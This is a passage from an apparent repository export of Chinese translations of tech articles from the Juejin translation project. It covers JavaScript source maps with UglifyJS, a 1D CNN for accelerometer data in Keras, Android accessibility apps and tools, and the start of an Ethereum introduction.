[\"slideUp\", \"slideDown\", \"save\"],\n    mappings: \"AAA0B,kBAAhBA,QAAOC,SACjBD,OAAOC,OAAO...\"\n}\n```\n\n我们来仔细研究一下这些属性。\n\n*   `version` – 此属性指示文件所遵循的[源映射规范](https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit)的版本。\n*   `file` – 源代码映射文件的名称。\n*   `sources` – 一个由源文件的 URL 组成的数组。\n*   `sourceRoot` – （可选参数）所有 `sources` 包含的 URL 被解析的路径。\n*   `names` – 一个包含所有源文件变量和函数名的数组。\n*   `mappings` – 一个 [Base64 VLQs](http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/#toc-base64vlq) 的字符串，包含了实际的代码映射。（这就是魔法发生的地方）\n\n## 使用 UglifyJS 生成源文件映射\n\n[UglifyJS](https://github.com/mishoo/UglifyJS2) 是一个很流行的命令行工具，它可以帮助你合并和压缩 JavaScript 文件。版本 2 提供了很多命令行参数，帮助生成源文件映射。\n\n*   `--source-map` – 源文件映射的输出文件。\n*   `--source-map-root` – （可选参数）它将填充映射文件中的 `Sourceroot` 属性。\n*   `--source-map-url` – （可选参数）服务器中源文件映射的路径。它将会被放置在被优化文件中的注释使用。`//# sourceMappingURL=/path/to/script.js.map`\n*   `--in-source-map` – （可选参数）输入源代码映射。当你正在压缩那些已经在别处生成过源代码映射的 JavaScript 文件的时候，这个参数就很有用了。比如 JavaScript 库。\n*   `--prefix` 或 `-p` – （可选参数）从 `sources` 属性的文件路径中，移除 `n` 个目录。例如，`-p 3` 将会从文件路径中移除前三个目录，那么 `one/two/three/file.js` 就会成为 `file.js`。使用 `-p relative` 将会让 UgulifyJS 为您计算源文件映射和原始文件之间的相对路径。\n\n这是一个命令的例子，它使用了一些上述的命令行参数。\n\n```\nuglifyjs [input files] -o script.min.js --source-map script.js.map --source-map-root http://example.com/js -c -m\n```\n\n* * *\n\n**注意**：如果你为 Grunt 使用了 `grunt-contrib-uglify` 插件，请参考关于如何在 Gruntfile 文件中配置这些选项的[文档信息](https://github.com/gruntjs/grunt-contrib-uglify#sourcemap)。\n\n* * *\n\n还有很多其他可用的工具支持生成源文件映射，一些可选项在下文列出：\n\n*   [Closure](http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/#toc-howgenerate)\n*   [CoffeeScript Compiler](http://coffeescript.org/#source-maps)\n*   [GruntJS Task for JSMin](https://github.com/twolfson/grunt-jsmin-sourcemap)\n\n## Chrome 开发工具中的源文件映射\n\n[![The Sources Tab in Chrome Dev Tools](https://3wga6448744j404mpt11pbx4-wpengine.netdna-ssl.com/wp-content/uploads/2013/12/chrome-tools.png)](https://3wga6448744j404mpt11pbx4-wpengine.netdna-ssl.com/wp-content/uploads/2013/12/chrome-tools.png)\n\nChrome 开发工具中的 Sources 标签\n\n如果你已经正确的设置好了源文件映射，那么你将会看到所有的原始 JavaScript 文件在 **Sources** 标签的面板中被列出。\n\n检查页面的 HTML，你将能够确认它其实只引用了压缩的 JavaScript 文件。开发工具将为您加载源文件映射文件，然后获取每个原始文件。\n\n[试试这个例子](http://demos.mattwest.io/source-maps/)\n\n## Firefox 开发者工具中的源文件映射\n\n[![The Debugger Tab in the Firefox Developer Tools](https://3wga6448744j404mpt11pbx4-wpengine.netdna-ssl.com/wp-content/uploads/2013/12/firefox-tools.png)](https://3wga6448744j404mpt11pbx4-wpengine.netdna-ssl.com/wp-content/uploads/2013/12/firefox-tools.png)\n\nFirefox 开发者工具中的 Debugger 标签\n\nFirefox 用户可以在开发者工具的 **Debugger** 标签看到独立的源文件。同样，开发工具已经确定源映射是可用的之后，才获取每个引用的源文件。\n\n如果希望查看压缩版本，请单击选项卡右上角的齿轮图标，并取消选择 **Show original sources**。\n\n\n[试试这个例子](http://demos.mattwest.io/source-maps/)\n\n## 最后总结\n\n使用源代码映射可以让开发人员维护一个可以直接调试的环境，同时也可以优化网站的性能。\n\n在这篇文章中，您学习了源代码映射是如何工作的，并了解了如何使用 UgulifyJS 生成它们。如果你曾经用压缩过的文件（你应该这么做）发布网站，那么花点时间把源文件映射创建集成到你的工作流程中是非常值得的。\n\n## 一些有价值的链接\n\n*   [Source Maps Revision 3 Proposal](https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit)\n*   [UglifyJS](https://github.com/mishoo/UglifyJS2)\n*   [Source Maps Demo](http://demos.mattwest.io/source-maps/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introduction-to-1d-convolutional-neural-networks-in-keras-for-time-sequences.md",
    "content": "> * 原文地址：[Introduction to 1D Convolutional Neural Networks in Keras for Time Sequences](https://blog.goodaudience.com/introduction-to-1d-convolutional-neural-networks-in-keras-for-time-sequences-3a7ff801a2cf)\n> * 原文作者：[Nils Ackermann](https://blog.goodaudience.com/@nils.ackermann?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introduction-to-1d-convolutional-neural-networks-in-keras-for-time-sequences.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introduction-to-1d-convolutional-neural-networks-in-keras-for-time-sequences.md)\n> * 译者：[haiyang-tju](https://github.com/haiyang-tju)\n> * 校对者：[lsvih](https://github.com/lsvih)\n\n# 在 Keras 中使用一维卷积神经网络处理时间序列数据\n\n### 概述\n\n许多技术文章都关注于二维卷积神经网络（2D CNN）的使用，特别是在图像识别中的应用。而一维卷积神经网络（1D CNNs）只在一定程度上有所涉及，比如在自然语言处理（NLP）中的应用。目前很少有文章能够提供关于如何构造一维卷积神经网络来解决你可能正面临的一些机器学习问题。本文试图补上这样一个短板。\n\n![](https://cdn-images-1.medium.com/max/1000/1*lRzUdVtTa0MdbZ3dRP67PA.jpeg)\n\n### 何时应用 1D CNN？\n\nCNN 可以很好地识别出数据中的简单模式，然后使用这些简单模式在更高级的层中生成更复杂的模式。当你希望从整体数据集中较短的（固定长度）片段中获得感兴趣特征，并且该特性在该数据片段中的位置不具有高度相关性时，1D CNN 是非常有效的。\n\n1D CNN 可以很好地应用于传感器数据的时间序列分析（比如陀螺仪或加速度计数据）；同样也可以很好地用于分析具有固定长度周期的信号数据（比如音频信号）。此外，它还能应用于自然语言处理的任务（由于单词的接近性可能并不总是一个可训练模式的好指标，因此 LSTM 网络在 NLP 中的应用更有前途）。\n\n### 1D CNN 和 2D CNN 之间有什么区别？\n\n无论是一维、二维还是三维，卷积神经网络（CNNs）都具有相同的特点和相同的处理方法。关键区别在于输入数据的维数以及特征检测器（或滤波器）如何在数据之间滑动：\n\n![](https://cdn-images-1.medium.com/max/800/1*aBN2Ir7y2E-t2AbekOtEIw.png)\n\n“一维和二维卷积神经网络” 由 Nils Ackermann 在知识共享许可 [CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0/) 下授权。\n\n### 问题描述\n\n在本文中，我们将专注于基于时间片的加速度传感器数据的处理，这些数据来自于用户的腰带式智能手机设备。基于 x、y 和 z 轴的加速度计数据，1D CNN 用来预测用户正在进行的活动类型（比如“步行”、“慢跑”或“站立”）。你可以在我的另外两篇文章中找到更多的信息 [这里](https://medium.com/@nils.ackermann/human-activity-recognition-har-tutorial-with-keras-and-core-ml-part-1-8c05e365dfa0) 和 [这里](https://medium.com/@nils.ackermann/human-activity-recognition-har-tutorial-with-keras-and-core-ml-part-2-857104583d94)。对于各种活动，在每个时间间隔上的数据看起来都与此类似。\n\n![](https://cdn-images-1.medium.com/max/800/1*t2nFJAuI_Jfp0ZyxRpwRQg.png)\n\n来自加速度计数据的时间序列样例\n\n### 如何在 Python 中构造一个 1D CNN？\n\n目前已经有许多得标准 CNN 模型可用。我选择了 [Keras 网站](https://keras.io/getting-started/sequential-model-guide/) 上描述的一个模型，并对它进行了微调，以适应前面描述的问题。下面的图片对构建的模型进行一个高级概述。其中每一层都将会进一步加以解释。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Y117iNR_CnBtBh8MWVtUDg.png)\n\n“一维卷积神经网络示例”由 Nils Ackermann 在知识共享许可 [CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0/) 下授权。\n\n让我们先来看一下对应的 Python 代码，以便构建这个模型：\n\n```\nmodel_m = Sequential()\nmodel_m.add(Reshape((TIME_PERIODS, num_sensors), input_shape=(input_shape,)))\nmodel_m.add(Conv1D(100, 10, activation='relu', input_shape=(TIME_PERIODS, num_sensors)))\nmodel_m.add(Conv1D(100, 10, activation='relu'))\nmodel_m.add(MaxPooling1D(3))\nmodel_m.add(Conv1D(160, 10, activation='relu'))\nmodel_m.add(Conv1D(160, 10, activation='relu'))\nmodel_m.add(GlobalAveragePooling1D())\nmodel_m.add(Dropout(0.5))\nmodel_m.add(Dense(num_classes, activation='softmax'))\nprint(model_m.summary())\n```\n\n运行这段代码将得到如下的深层神经网络：\n\n```\n_________________________________________________________________\nLayer (type)                 Output Shape              Param #   \n=================================================================\nreshape_45 (Reshape)         (None, 80, 3)             0         \n_________________________________________________________________\nconv1d_145 (Conv1D)          (None, 71, 100)           3100      \n_________________________________________________________________\nconv1d_146 (Conv1D)          (None, 62, 100)           100100    \n_________________________________________________________________\nmax_pooling1d_39 (MaxPooling (None, 20, 100)           0         \n_________________________________________________________________\nconv1d_147 (Conv1D)          (None, 11, 160)           160160    \n_________________________________________________________________\nconv1d_148 (Conv1D)          (None, 2, 160)            256160    \n_________________________________________________________________\nglobal_average_pooling1d_29  (None, 160)               0         \n_________________________________________________________________\ndropout_29 (Dropout)         (None, 160)               0         \n_________________________________________________________________\ndense_29 (Dense)             (None, 6)                 966       \n=================================================================\nTotal params: 520,486\nTrainable params: 520,486\nNon-trainable params: 0\n_________________________________________________________________\nNone\n```\n\n让我们深入到每一层中，看看到底发生了什么：\n\n*   **输入数据：** 数据经过预处理后，每条数据记录中包含有 80 个时间片（数据是以 20Hz 的采样频率进行记录的，因此每个时间间隔中就包含有 4 秒的加速度计数据）。在每个时间间隔内，存储加速度计的 x 轴、 y 轴和 z 轴的三个数据。这样就得到了一个 80 x 3 的矩阵。由于我通常是在 iOS 系统中使用神经网络的，所以数据必须平展成长度为 240 的向量后传入神经网络中。网络的第一层必须再将其变形为原始的 80 x 3 的形状。\n*   **第一个 1D CNN 层：** 第一层定义了高度为 10（也称为卷积核大小）的滤波器（也称为特征检测器）。只有定义了一个滤波器，神经网络才能够在第一层中学习到一个单一的特征。这可能还不够，因此我们会定义 100 个滤波器。这样我们就在网络的第一层中训练得到 100 个不同的特性。第一个神经网络层的输出是一个 71 x 100 的矩阵。输出矩阵的每一列都包含一个滤波器的权值。在定义内核大小并考虑输入矩阵长度的情况下，每个过滤器将包含 71 个权重值。\n*   **第二个 1D CNN 层：** 第一个 CNN 的输出结果将被输入到第二个 CNN 层中。我们将在这个网络层上再次定义 100 个不同的滤波器进行训练。按照与第一层相同的逻辑，输出矩阵的大小为 62 x 100。\n*   **最大值池化层：** 为了减少输出的复杂度和防止数据的过拟合，在 CNN 层之后经常会使用池化层。在我们的示例中，我们选择了大小为 3 的池化层。这意味着这个层的输出矩阵的大小只有输入矩阵的三分之一。\n*   **第三和第四个 1D CNN 层：** 为了学习更高层次的特征，这里又使用了另外两个 1D CNN 层。这两层之后的输出矩阵是一个 2 x 160 的矩阵。\n*   **平均值池化层：** 多添加一个池化层，以进一步避免过拟合的发生。这次的池化不是取最大值，而是取神经网络中两个权重的平均值。输出矩阵的大小为 1 x 160 。每个特征检测器在神经网络的这一层中只剩下一个权重。\n*   **Dropout 层：** Dropout 层会随机地为网络中的神经元赋值零权重。由于我们选择了 0.5 的比率，则 50% 的神经元将会是零权重的。通过这种操作，网络对数据的微小变化的响应就不那么敏感了。因此，它能够进一步提高对不可见数据处理的准确性。这个层的输出仍然是一个 1 x 160 的矩阵。\n*   **使用 Softmax 激活的全连接层：** 最后一层将会把长度为 160 的向量降为长度为 6 的向量，因为我们有 6 个类别要进行预测（即 “慢跑”、“坐下”、“走路”、“站立”、“上楼”、“下楼”）。这里的维度下降是通过另一个矩阵乘法来完成的。Softmax 被用作激活函数。它强制神经网络的所有六个输出值的加和为一。因此，输出值将表示这六个类别中的每个类别出现的概率。\n\n### 训练和测试该神经网络\n\n下面是一段用以训练模型的 Python 代码，批大小为 400，其中训练集和验证集的分割比例是 80 比 20。\n\n```\ncallbacks_list = [\n    keras.callbacks.ModelCheckpoint(\n        filepath='best_model.{epoch:02d}-{val_loss:.2f}.h5',\n        monitor='val_loss', save_best_only=True),\n    keras.callbacks.EarlyStopping(monitor='acc', patience=1)\n]\n\nmodel_m.compile(loss='categorical_crossentropy',\n                optimizer='adam', metrics=['accuracy'])\n\nBATCH_SIZE = 400\nEPOCHS = 50\n\nhistory = model_m.fit(x_train,\n                      y_train,\n                      batch_size=BATCH_SIZE,\n                      epochs=EPOCHS,\n                      callbacks=callbacks_list,\n                      validation_split=0.2,\n                      verbose=1)\n```\n\n该模型在训练数据上的准确率可达 97%。\n\n```\n...\nEpoch 9/50\n16694/16694 [==============================] - 16s 973us/step - loss: 0.0975 - acc: 0.9683 - val_loss: 0.7468 - val_acc: 0.8031\nEpoch 10/50\n16694/16694 [==============================] - 17s 989us/step - loss: 0.0917 - acc: 0.9715 - val_loss: 0.7215 - val_acc: 0.8064\nEpoch 11/50\n16694/16694 [==============================] - 17s 1ms/step - loss: 0.0877 - acc: 0.9716 - val_loss: 0.7233 - val_acc: 0.8040\nEpoch 12/50\n16694/16694 [==============================] - 17s 1ms/step - loss: 0.0659 - acc: 0.9802 - val_loss: 0.7064 - val_acc: 0.8347\nEpoch 13/50\n16694/16694 [==============================] - 17s 1ms/step - loss: 0.0626 - acc: 0.9799 - val_loss: 0.7219 - val_acc: 0.8107\n```\n\n根据测试集数据进行测试，其准确率为 92%。\n\n```\nAccuracy on test data: 0.92\n\nLoss on test data: 0.39\n```\n\n考虑到我们使用的是标准的 1D CNN 模型，得到这样的结果已经很好了。我们的模型在精度（precision）、召回率（recall）和 f1 值（f1-score）上的得分也很高。\n\n```\n              precision    recall  f1-score   support\n\n0                 0.76      0.78      0.77       650\n1                 0.98      0.96      0.97      1990\n2                 0.91      0.94      0.92       452\n3                 0.99      0.84      0.91       370\n4                 0.82      0.77      0.79       725\n5                 0.93      0.98      0.95      2397\n\navg / total       0.92      0.92      0.92      6584\n```\n\n下面对这些分数的含义做一个简要回顾：\n\n![](https://cdn-images-1.medium.com/max/800/1*wTGN860kbMvnZUNQbCBYVg.png)\n\n“预测和结果矩阵”由 Nils Ackermann 在知识共享 [CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0/) 许可下授权。\n\n*   **精确度（Accuracy）：** 正确预测的结果与所有预测的结果总和之比。即 ((TP + TN) / (TP + TN + FP + FN))\n*   **精度（Precision）：** 当模型预测为正样本时，它是对的吗？所有的正确预测的正样本除以所有的正样本预测。即 (TP / (TP + FP))\n*   **召回率（Recall）：** 为模型识别出的所有正样本中有多少是正确预测的正样本？正确预测的正样本除以所有的正样本预测。即 (TP / (TP + FN))\n*   **F1值（F1-score）：** 是精度和召回率的加权平均值。即 (2 x recall x precision / (recall + precision))\n\n测试数据上对应的混淆矩阵如下所示。\n\n![](https://cdn-images-1.medium.com/max/800/1*aUZdBNo8ppvPpOI39a-v_g.png)\n\n### 总结\n\n本文通过以智能手机的加速度计数据来预测用户的行为为例，绍了如何使用 1D CNN 来训练网络。完整的 Python 代码可以在 [github](https://github.com/ni79ls/har-keras-cnn) 上找到。\n\n### 链接与引用\n\n*   Keras [文档](https://keras.io/layers/convolutional/#conv1d) 关于一维卷积神经网络部分\n*   Keras [用例](https://keras.io/getting-started/sequential-model-guide/) 关于一维卷积神经网络部分\n*   一篇关于使用一维卷积神经网络进行自然语言处理的好 [文章](http://www.wildml.com/2015/11/understanding-convolutional-neural-networks-for-nlp/)\n\n### 免责声明\n\n**网站帖文属于自己，不代表雇佣者的文章、策略或意见。**\n\n**联系 Raven 团队** [**Telegram**](https://t.me/ravenprotocol)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introduction-to-accessibility-for-android-apps-and-games.md",
    "content": "> * 原文地址：[Introduction to accessibility for Android apps and games](https://medium.com/googleplaydev/introduction-to-accessibility-for-android-apps-and-games-d0e7af5384d)\n> * 原文作者：[Maxim Mai](https://medium.com/@maximfmai?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introduction-to-accessibility-for-android-apps-and-games.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introduction-to-accessibility-for-android-apps-and-games.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[DateBro](https://github.com/DateBro)\n\n# 安卓应用和游戏的无障碍开发介绍\n\n## 如何定制应用和游戏的设计以改善用户体验\n\n![](https://cdn-images-1.medium.com/max/800/0*C2kWfqX8bsbps-ME.)\n\n虽然我们的目标是设计和开发迎合广大受众群体的应用，但我们不应该忘记，使用安卓和 Google Play 的用户中还有相当一部分是残疾人。据 [世界卫生组织](http://www.who.int/disabilities/world_report/2011/report/en/) 估计，世界人口的 15％，大约 10 亿人，有不同程度的听力，视觉，认知以及运动功能方面的残疾。这些会影响到他们与科技之间进行互动的方式，让每个人在 Google Play 和 Android 上使用他们最喜欢的应用时感到舒适对我们来说很重要。\n\n我们通常认为残疾是永久或者持续的能力缺陷，但经常也会有阶段性的或临时的无障碍需求影响到我们每个人。比如，有些情况下我们只有一只手可以使用，例如抱着孩子，或者刚做完手术，或者骑自行车的时候，这些都是特定情境下的无障碍需求，可以通过优秀的设计来解决。\n\n在安卓和 Google Play 上，我们为开发者提供开发工具，开发指导和支持，以便为尽可能多的人提供包容性的体验。我们最近还在 Play 商店中策划了 [收集无障碍相关应用](https://www.google.com/url?q=http://play.google.com/store/apps/topic?id%3Dcampaign_editorial_300324a_accessapps18&sa=D&source=hangouts&ust=1526630727446000&usg=AFQjCNFT86-9N1DrImf9arznkRQ-QdarXA) 的活动 。使用这些非常棒的应用程序吧，能够在安卓和 Google Play 上发布这些应用程序，我们确实感到非常自豪！\n\n一些安卓开发者也已将无障碍体验提升到一个新的水平，特别是满足残疾人的需求。让我们深入了解一下我们可以从他们的应用和游戏中学到些什么。\n\n### 简单的步骤，使您的应用程序和游戏更容易被访问\n\n无论您是专门针对无障碍用例构建应用程序，还是正在努力让您的应用程序或游戏对残疾人士更具包容性，我们都会为您提供支持。\n\n我们已经为安卓开发人员创建了可用于 [无障碍](https://developer.android.com/guide/topics/ui/accessibility/) 开发的资源，您将在其中找到关于该主题的简单介绍，以及链接 [使用 Material Design 来支持无障碍的需求](https://material.io/guidelines/usability/accessibility.html) 和最佳实践 [开发更多的无障碍应用](https://developer.android.com/guide/topics/ui/accessibility/apps)。\n\n您可以确保您的应用**正确地标记用户界面元素**以便让使用屏幕阅读器的用户（例如 TalkBack）更清楚地听到内容。同样，您可以考虑在屏幕上对您的内容进行分组，以便那些有视力障碍的人可以快速高效地浏览您的应用。\n\n有些人可能在与小的触控目标交互时遇到困难，因此请记住提供**更大的触摸目标**。这可能会让很多人浏览您的应用程序变得更容易。颜色和对比度是另外两个可能影响到用户使用的方面。**避免前景色和背景色之间的对比度过低**是另外一种最佳做法，同时要确保用户界面的元素颜色，色盲用户可以很清晰地分辨。\n\n添加视频和音频内容或指令可以让听力受损的人访问您的应用。考虑提供**切换字幕**的选项，并且如果是通过视频给出指令，请考虑用多种样式提供相同的指令。\n\n这些都是简单步骤的示例，您可以按照这些步骤使您的应用更具包容性，但这绝不意味着做到这些就足够了。我们将在今年夏天晚些时候发表更加深入的文章，以提供关于无障碍设计和开发的更多建议。\n\n### 三个聚焦无障碍的应用程序\n\n这些应用和游戏给残障人士提供了在日常生活中更多访问和利用移动技术的机会。\n\n[**做我的眼睛**](https://play.google.com/store/apps/details?id=com.bemyeyes.bemyeyes)\n\n你多久会帮助有需要的陌生人？“做我的眼睛”的背后团队正在利用安卓的全球规模，挖掘人类奉献爱心和社区意识的力量，旨在让盲人和弱视人群过上更加独立的生活。\n\n无需任何费用，该应用程序通过视频通话让盲人或弱视人群与视力正常的志愿者相匹配，志愿者可以提供相应的帮助，例如在新环境中进行定位，阅读标签或控件，区分颜色以及执行更多任务等。\n\n![](https://cdn-images-1.medium.com/max/800/0*ZWrIIDxpH76qNmfL.)\n\n视力受损的用户准备打电话给视力正常的志愿者\n\n由于超过 [2.53 亿](http://www.who.int/en/news-room/fact-sheets/detail/blindness-and-visual-impairment) 的视力障碍患者中绝大多数生活在中低收入国家，因此在应用中添加更多本地语言并提高翻译质量是非常重要的。您也可以通过 [参与翻译项目来提供帮助](https://crowdin.com/project/be-my-eyes-android)。\n\n[**芝麻开门**](https://play.google.com/store/apps/details?id=com.sesame.phone_nougat)\n\n触摸屏让手机发生了巨大变革，因为它们可以在手持设备上提供直观的导航。然而，有数百万人因为脊髓损伤，多发性硬化症，ALS 和神经退行性疾病导致严重的运动障碍，对于他们可能需要不同的交互方式。\n\n结合先进的计算机视觉技术和语音控制功能，芝麻开门应用允许任何人只通过控制头部移动而完全不使用手就可以使用安卓手机或平板电脑。该应用程序通过注册安卓无障碍服务来实现这一目标，以便人们可以控制整个操作系统，通过 Google Play 商店下载应用程序，玩游戏以及控制连接的家庭设备和服务。\n\n![](https://cdn-images-1.medium.com/max/800/0*xPVd0S0KMl_mN3Cn.)\n\n运动障碍用户使用头部移动控制安卓手机\n\n许多美国州政府提供补贴，让更多符合条件的人士可以体验芝麻开门的魔力。芝麻开门的团队正在努力增加提供补贴的计划数量，他们很乐意通过补贴流程 [引导新用户](https://sesame-enable.com/get-help-with-state-benefits/)。\n\n[**音频游戏中心 2.0**](https://play.google.com/store/apps/details?id=com.AUT.AudioGameHub)\n\n位于新西兰奥克兰的声纳互动团队擅长利用语音，声响和音乐为有视力和无视力的用户制作游戏。这个想法是把视频游戏社区的乐趣和感觉带给世界各地有视觉障碍的人群。\n\n音频游戏中心是由 11 个独立游戏组成的集合，包括炸弹解散者，射箭，武士锦标赛和狩猎等。许多游戏可以由多个玩家在同一个设备上一起玩，以实现团队协作和竞技的体验，让视力正常和视力受损的朋友都能参与其中。\n\n![](https://cdn-images-1.medium.com/max/800/1*2lC2yhviSS9fjtcju9TVHA.png)\n\n射箭游戏正在进行中，通过声音指导用户瞄准\n\n该团队不断在游戏领域进行创新。Animal Escape 是音频游戏中心的最新成员，现在已经在 Google Play 中上线，可以下载使用。\n\n### 一款有用的开发者工具，用于测试您的应用和游戏的无障碍功能\n\n测试您的应用程序的无障碍功能是您开发过程中的关键部分。我们发布了 [入门指南](https://developer.android.com/training/accessibility/testing#top_of_page)，强调手动测试，使用者以及自动化测试相结合的重要性，以便发现可能会遗漏的无障碍问题。\n\n[谷歌无障碍扫描程序](https://play.google.com/store/apps/details?id=com.google.android.apps.accessibility.auditor) 使用了 [无障碍测试框架](https://github.com/google/Accessibility-Test-Framework-for-Android)，并会对您手机上安装的任何安卓应用提出改善建议，而这不需要任何技术能力。它通过查看内容标签，可点击项目，对比度等内容后会提供可行的建议。\n\n例如，内容标签提供有用的描述，向人们解释每个交互元素的含义和目的。这些标签允许屏幕阅读器（例如 TalkBack）向那些依赖这些服务的人正确解释特定控件的功能。\n\n![](https://cdn-images-1.medium.com/max/800/1*aAcJvQ75gLoECAO5grbCLA.png)\n\n无障碍扫描程序已打开并准备分析应用程序\n\n我们希望您会使用无障碍扫描程序来改善自己的应用程序的无障碍性，而且它也允许您向其他开发人员提供无障碍的改进建议。\n\n我们已经从在这个领域取得重大进展的人那里分享了一些成功实例，希望我们提供的建议和资源链接可以帮助您的应用或游戏为使用者创造更好的体验。无论您是专门为残障人士创建应用程序，还是试图与所有感兴趣的人分享您的应用或游戏，希望这些观点可以给您提供一些灵感和正确的起步。正如我们上面提到的，它们绝不是详尽无遗的，在开发，设计和开始构思应用程序或游戏时，仍然有许多考虑因素可以帮助提高无障碍使用体验。看看我的下一篇文章，它将深入探讨无障碍开发，同时请记得看一下 Google Play 中的 [新的无障碍应用收藏夹](https://www.google.com/url?q=http://play.google.com/store/apps/topic?id%3Dcampaign_editorial_300324a_accessapps18&sa=D&source=hangouts&ust=1526630727446000&usg=AFQjCNFT86-9N1DrImf9arznkRQ-QdarXA)。\n\n* * *\n\n### 你怎么看？\n\n你有没有想过设计无障碍访问的应用程序？请在下面的评论中告诉我们，或者使用 #AskPlayDev 发微博，我们会回复 [@GooglePlayDev](http://twitter.com/googleplaydev), 我们会定期分享有关如何在Google Play上取得成功的新闻和提示。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introduction-to-ethereum-the-internets-government.md",
    "content": "> * 原文地址：[Introduction to Ethereum: The Internet’s Government](https://media.consensys.net/introduction-to-ethereum-the-internets-government-35bdd25f572a)\n> * 原文作者：[Karl Floersch](https://media.consensys.net/@karl_dot_tech?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划 — 区块链分舵](https://github.com/xitu/blockchain-miner)\n> * 本文永久链接：[https://github.com/xitu/blockchain-miner/tree/master/article/0001/introduction-to-ethereum-the-internets-government.md](https://github.com/xitu/blockchain-miner/tree/master/article/0001/introduction-to-ethereum-the-internets-government.md)\n> * 译者：[newraina](https://github.com/newraina)\n> * 校对者：[7Ethan](https://github.com/7Ethan)\n\n# 以太坊入门：互联网政府\n\n![](https://cdn-images-1.medium.com/max/2000/1*o3P21NH-DV6H81H37aaOgQ.jpeg)\n\n题图来自电影：天空之城\n\n比特币有**数字金矿**和**互联网货币**之称，那以太坊呢？有时它被称为**全球计算机**。但是，到底什么是“全球计算机”？不需要上计算机科学的课程，这里有一个关于以太坊**究竟**是什么的直观解释：\n\n> 以太坊是互联网的政府，智能合约就是它的法律。\n\n让我们看看这个新互联网政府的职能，来理解以太坊的深层含义。\n\n### 制定并颁布法律\n\n以太坊的“法律”和传统政府有所不同。首先，任何人都可以制定以太坊的“法律”，这意味着，你、你的邻居和奥巴马总统都是平等的。\n\n这些法律一般被叫做智能合约。它们是用代码写的。只有对代码语言足够了解，你才能掌握“法律解释权”。所以，如果你学会了这门语言，恭喜你！你现在是互联网政府立法部门的成员了。\n\n法律一旦制定，就必须由政府的行政机构 —— 运行以太坊程序的计算机组成的网络颁布。你必须给计算机预支颁布费。不过，颁布费特别便宜，执行和颁布一条法律只需要半分钱。如果你能掏出来半美分，恭喜！你就在负责政府行政机构。\n\n![](https://cdn-images-1.medium.com/max/800/1*V0BTXtTyQZf9_L4a8Sduwg.png)\n\n### 